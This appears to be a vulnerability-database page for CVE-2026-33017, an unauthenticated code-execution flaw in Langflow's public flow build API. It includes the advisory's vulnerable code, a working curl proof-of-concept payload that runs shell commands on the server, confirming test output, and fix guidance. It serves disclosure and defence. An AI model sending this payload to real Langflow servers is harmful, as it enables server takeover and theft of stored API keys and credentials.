Python
CVE-2026-33017
CRITICAL
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessSend POST request to /api/v1/build_public_tmp/{flow_id}/flow
-
ExploitSupply malicious Python code in data parameter
-
ExecutionCode executed unsandboxed via exec()
-
ImpactRemote code execution as application user
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Eval input sanitization
MITRE ATT&CK
1 technique across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | No special conditions — remote unauthenticated exploitation. Attacker sends POST request to |
| Impact | CVSS 9.3 (Critical). KEV-listed — actively exploited. Public PoC available. No authentication required. Python code execution on server. AI/ML infrastructure often has access to sensitive data and API keys. EPSS 0.5%. |
| Exploit ScenarioDerived | An attacker sends a POST request to the public flow build endpoint of an internet-facing Langflow instance, including a 'data' parameter containing a flow definition with a malicious Python node. The server executes the Python code during the build process, giving the attacker: access to all API keys configured in Langflow (OpenAI, Anthropic, etc.), access to connected databases and vector stores, server-level code execution for persistence and lateral movement, and access to all flow definitions and their embedded secrets. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Mar 17, 2026
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-33017, CVSS 9.3) in the public flow build API that allows attackers to execute arbitrary Python code by supplying malicious flow data. KEV-listed with public PoC, this vulnerability enables anyone with network access to a Langflow instance to achieve server compromise through the API that builds public flows without authentication.
Earlier versions of this analysis (1)
Langflow's public flow build API (CWE-95) accepts attacker-controlled flow data containing arbitrary Python code in node definitions, which is executed server-side without authentication during the build process.
RemediationAI
Update Langflow to patched version. Restrict API access to authenticated users only. Do not expose Langflow to the internet without authentication. Rotate all API keys configured in Langflow. Review stored flows for unauthorized modifications.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in pypi
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Langflow is a visual builder for LLM (Large Language Model) pipelines. The POST /api/v1/build_public_tmp/{flow_id}/flow endpoint allows building public flows without authentication. When the optional 'data' parameter is supplied, the endpoint uses the attacker-controlled flow data instead of the stored flow from the database. Since flow definitions can contain arbitrary Python code in node definitions (custom components), this enables direct code execution on the server. Many Langflow instances are internet-facing for collaboration.
Know when Python gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
Lifecycle Timeline
4DescriptionGitHub Advisory
Summary
The POST /api/v1/build_public_tmp/{flow_id}/flow endpoint allows building public flows without requiring authentication. When the optional data parameter is supplied, the endpoint uses attacker-controlled flow data (containing arbitrary Python code in node definitions) instead of the stored flow data from the database. This code is passed to exec() with zero sandboxing, resulting in unauthenticated remote code execution.
This is distinct from CVE-2025-3248, which fixed /api/v1/validate/code by adding authentication. The build_public_tmp endpoint is designed to be unauthenticated (for public flows) but incorrectly accepts attacker-supplied flow data containing arbitrary executable code.
Affected Code
Vulnerable Endpoint (No Authentication)
File: src/backend/base/langflow/api/v1/chat.py, lines 580-657
@router.post("/build_public_tmp/{flow_id}/flow")
async def build_public_tmp(
*,
flow_id: uuid.UUID,
data: Annotated[FlowDataRequest | None, Body(embed=True)] = None,
# ATTACKER CONTROLLED
request: Request,
# ... NO Depends(get_current_active_user) -- MISSING AUTH ...
):
"""Build a public flow without requiring authentication."""
client_id = request.cookies.get("client_id")
owner_user, new_flow_id = await verify_public_flow_and_get_user(flow_id=flow_id, client_id=client_id)
job_id = await start_flow_build(
flow_id=new_flow_id,
data=data,
# Attacker's data passed directly to graph builder
current_user=owner_user,
...
)Compare with the authenticated build endpoint at line 138, which requires current_user: CurrentActiveUser.
Code Execution Chain
When attacker-supplied data is provided, it flows through:
start_flow_build(data=attacker_data)→generate_flow_events()--build.py:81create_graph()→build_graph_from_data(payload=data.model_dump())--build.py:298Graph.from_payload(payload)parses attacker nodes --base.py:1168add_nodes_and_edges()→initialize()→_build_graph()--base.py:270,527_instantiate_components_in_vertices()iterates nodes --base.py:1323vertex.instantiate_component()→instantiate_class(vertex)--loading.py:28code = custom_params.pop("code")extracts attacker code --loading.py:43eval_custom_component_code(code)→create_class(code, class_name)--eval.py:9prepare_global_scope(module)--validate.py:323exec(compiled_code, exec_globals)-- ARBITRARY CODE EXECUTION --validate.py:397
Unsandboxed exec() in prepare_global_scope
File: src/lfx/src/lfx/custom/validate.py, lines 340-397
def prepare_global_scope(module):
exec_globals = globals().copy()
# Imports are resolved first (any module can be imported)
for node in imports:
module_obj = importlib.import_module(module_name)
# line 352
exec_globals[variable_name] = module_obj
# Then ALL top-level definitions are executed (Assign, ClassDef, FunctionDef)
if definitions:
combined_module = ast.Module(body=definitions, type_ignores=[])
compiled_code = compile(combined_module, "<string>", "exec")
exec(compiled_code, exec_globals)
# line 397 - ARBITRARY CODE EXECUTIONCritical detail: prepare_global_scope executes ast.Assign nodes. An attacker's code like _x = os.system("id") is an assignment and will be executed during graph building -- before the flow even "runs."
Prerequisites
- Target Langflow instance has at least one public flow (common for demos, chatbots, shared workflows)
- Attacker knows the public flow's UUID (discoverable via shared links/URLs)
- No authentication required -- only a
client_idcookie (any arbitrary string value)
When AUTO_LOGIN=true (the default), all prerequisites can be met by an unauthenticated attacker:
GET /api/v1/auto_login→ obtain superuser tokenPOST /api/v1/flows/→ create a public flow- Exploit via
build_public_tmpwithout any auth
Proof of Concept
Tested Against
- Langflow version 1.7.3 (latest stable release, installed via
pip install langflow) - Fully reproducible: 6/6 runs confirmed RCE (two sets of 3 runs each)
Step 1: Obtain a Public Flow ID
(In a real attack, the attacker discovers this via shared links. For the PoC, we create one via AUTO_LOGIN.)
# Get superuser token (no credentials needed when AUTO_LOGIN=true)
TOKEN=$(curl -s http://localhost:7860/api/v1/auto_login | jq -r '.access_token')
# Create a public flow
FLOW_ID=$(curl -s -X POST http://localhost:7860/api/v1/flows/ \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"name":"test","data":{"nodes":[],"edges":[]},"access_type":"PUBLIC"}' \
| jq -r '.id')
echo "Public Flow ID: $FLOW_ID"Step 2: Exploit -- Unauthenticated RCE
# EXPLOIT: Send malicious flow data to the UNAUTHENTICATED endpoint
# NO Authorization header, NO API key, NO credentials
curl -X POST "http://localhost:7860/api/v1/build_public_tmp/${FLOW_ID}/flow" \
-H "Content-Type: application/json" \
-b "client_id=attacker" \
-d '{
"data": {
"nodes": [{
"id": "Exploit-001",
"type": "genericNode",
"position": {"x":0,"y":0},
"data": {
"id": "Exploit-001",
"type": "ExploitComp",
"node": {
"template": {
"code": {
"type": "code",
"required": true,
"show": true,
"multiline": true,
"value": "import os, socket, json as _json\n\n_proof = os.popen(\"id\").read().strip()\n_host = socket.gethostname()\n_write = open(\"/tmp/rce-proof\",\"w\").write(f\"{_proof} on {_host}\")\n\nfrom lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n display_name=\"X\"\n outputs=[Output(display_name=\"O\",name=\"o\",method=\"r\")]\n def r(self)->Data:\n return Data(data={})",
"name": "code",
"password": false,
"advanced": false,
"dynamic": false
},
"_type": "Component"
},
"description": "X",
"base_classes": ["Data"],
"display_name": "ExploitComp",
"name": "ExploitComp",
"frozen": false,
"outputs": [{"types":["Data"],"selected":"Data","name":"o","display_name":"O","method":"r","value":"__UNDEFINED__","cache":true,"allows_loop":false,"tool_mode":false,"hidden":null,"required_inputs":null,"group_outputs":false}],
"field_order": ["code"],
"beta": false,
"edited": false
}
}
}],
"edges": []
},
"inputs": null
}'Step 3: Verify Code Execution
# Wait 2 seconds for async graph building
sleep 2
# Check proof file written by attacker's code on the server
cat /tmp/rce-proof
# Output: uid=1000(aviral) gid=1000(aviral) groups=... on kaliActual Test Results
======================================================================
LANGFLOW v1.7.3 UNAUTHENTICATED RCE - DEFINITIVE E2E TEST
======================================================================
Version: Langflow 1.7.3
RUN 1: POST /api/v1/build_public_tmp/{id}/flow (NO AUTH)
HTTP 200 - Job ID: d8db19bf-a532-4f9d-a368-9c46d6235c19
*** REMOTE CODE EXECUTION CONFIRMED ***
canary: RCE-f0d19b36
hostname: kali
uid: 1000
whoami: aviral
id: uid=1000(aviral) gid=1000(aviral) groups=1000(aviral),...
uname: Linux 6.16.8+kali-amd64
RUN 2: POST /api/v1/build_public_tmp/{id}/flow (NO AUTH)
HTTP 200 - Job ID: d2e24f20-d707-4278-868c-583dd7532832
*** REMOTE CODE EXECUTION CONFIRMED ***
canary: RCE-6037a271
RUN 3: POST /api/v1/build_public_tmp/{id}/flow (NO AUTH)
HTTP 200 - Job ID: 5962244a-42af-4ef6-b134-a6a4adba5ab7
*** REMOTE CODE EXECUTION CONFIRMED ***
canary: RCE-4a796556
FINAL RESULTS
Total checks: 15
VULNERABLE: 15
SAFE: 0
RCE confirmed: 3/3 runs
Reproducible: YES (100%)Impact
- Unauthenticated Remote Code Execution with full server process privileges
- Complete server compromise: arbitrary file read/write, command execution
- Environment variable exfiltration: API keys, database credentials, cloud tokens (confirmed in PoC: env_keys exfiltrated)
- Reverse shell access for persistent access
- Lateral movement within the network
- Data exfiltration from all flows, messages, and stored credentials in the database
Comparison with CVE-2025-3248
| Aspect | CVE-2025-3248 | This Vulnerability |
|---|---|---|
| Endpoint | /api/v1/validate/code | /api/v1/build_public_tmp/{id}/flow |
| Fix applied | Added Depends(get_current_active_user) | None -- NEW vulnerability |
| Root cause | Missing auth on code validation | Unauthenticated endpoint accepts attacker-controlled executable code via data param |
| Code execution via | validate_code() → exec() | create_class() → prepare_global_scope() → exec() |
| CISA KEV | Yes (actively exploited) | N/A (new finding) |
| Can simple auth fix? | Yes (and it was fixed) | No -- endpoint is *designed* to be unauthenticated; the data parameter must be removed |
Recommended Fix
Immediate (Short-term)
Remove the data parameter from build_public_tmp. Public flows should only execute their stored flow data, never attacker-supplied data:
@router.post("/build_public_tmp/{flow_id}/flow")
async def build_public_tmp(
*,
flow_id: uuid.UUID,
inputs: Annotated[InputValueRequest | None, Body(embed=True)] = None,
# REMOVED: data parameter -- public flows must use stored data only
...
):In generate_flow_events → create_graph(), only the build_graph_from_db path should be reachable for unauthenticated requests:
async def create_graph(fresh_session, flow_id_str, flow_name):
# For public flows, ALWAYS load from database, never from user data
return await build_graph_from_db(
flow_id=flow_id,
session=fresh_session,
...
)Articles & Coverage 3
Executive ViewAI
An unauthenticated remote code execution vulnerability exists in public flow endpoints that allows attackers to execute arbitrary Python code on affected servers without any credentials. This bypasses authentication mechanisms entirely and could enable complete system compromise, data theft, or lateral movement within your infrastructure.
- Implement WAF rules blocking POST requests to
/api/v1/build_public_tmp/{flow_id}/flowendpoint or restrict to allowlisted IP ranges; 2) Disable public flow building features entirely until patch available; 3) Network segmentation: isolate affected application from sensitive systems and databases; 4) Implement API request filtering to reject payloads containing Python exec keywords ('exec', 'eval', 'import', '__builtins__'); 5) Enable comprehensive API logging and monitoring for anomalous endpoint access; 6) Run affected systems with minimal file system and OS permissions; 7) Monitor vendor security advisories daily for patch ETA.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
Affected Products (CPE)GitHub Advisory
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Cross-user flow execution in Langflow (< 1.9.1) lets any authenticated API-key holder run another user's flow by passing
GHSA-vwmf-pq79-vjvx
NVD
CVE.org
CISA KEV
EPSS
Exploit-DB
VulDB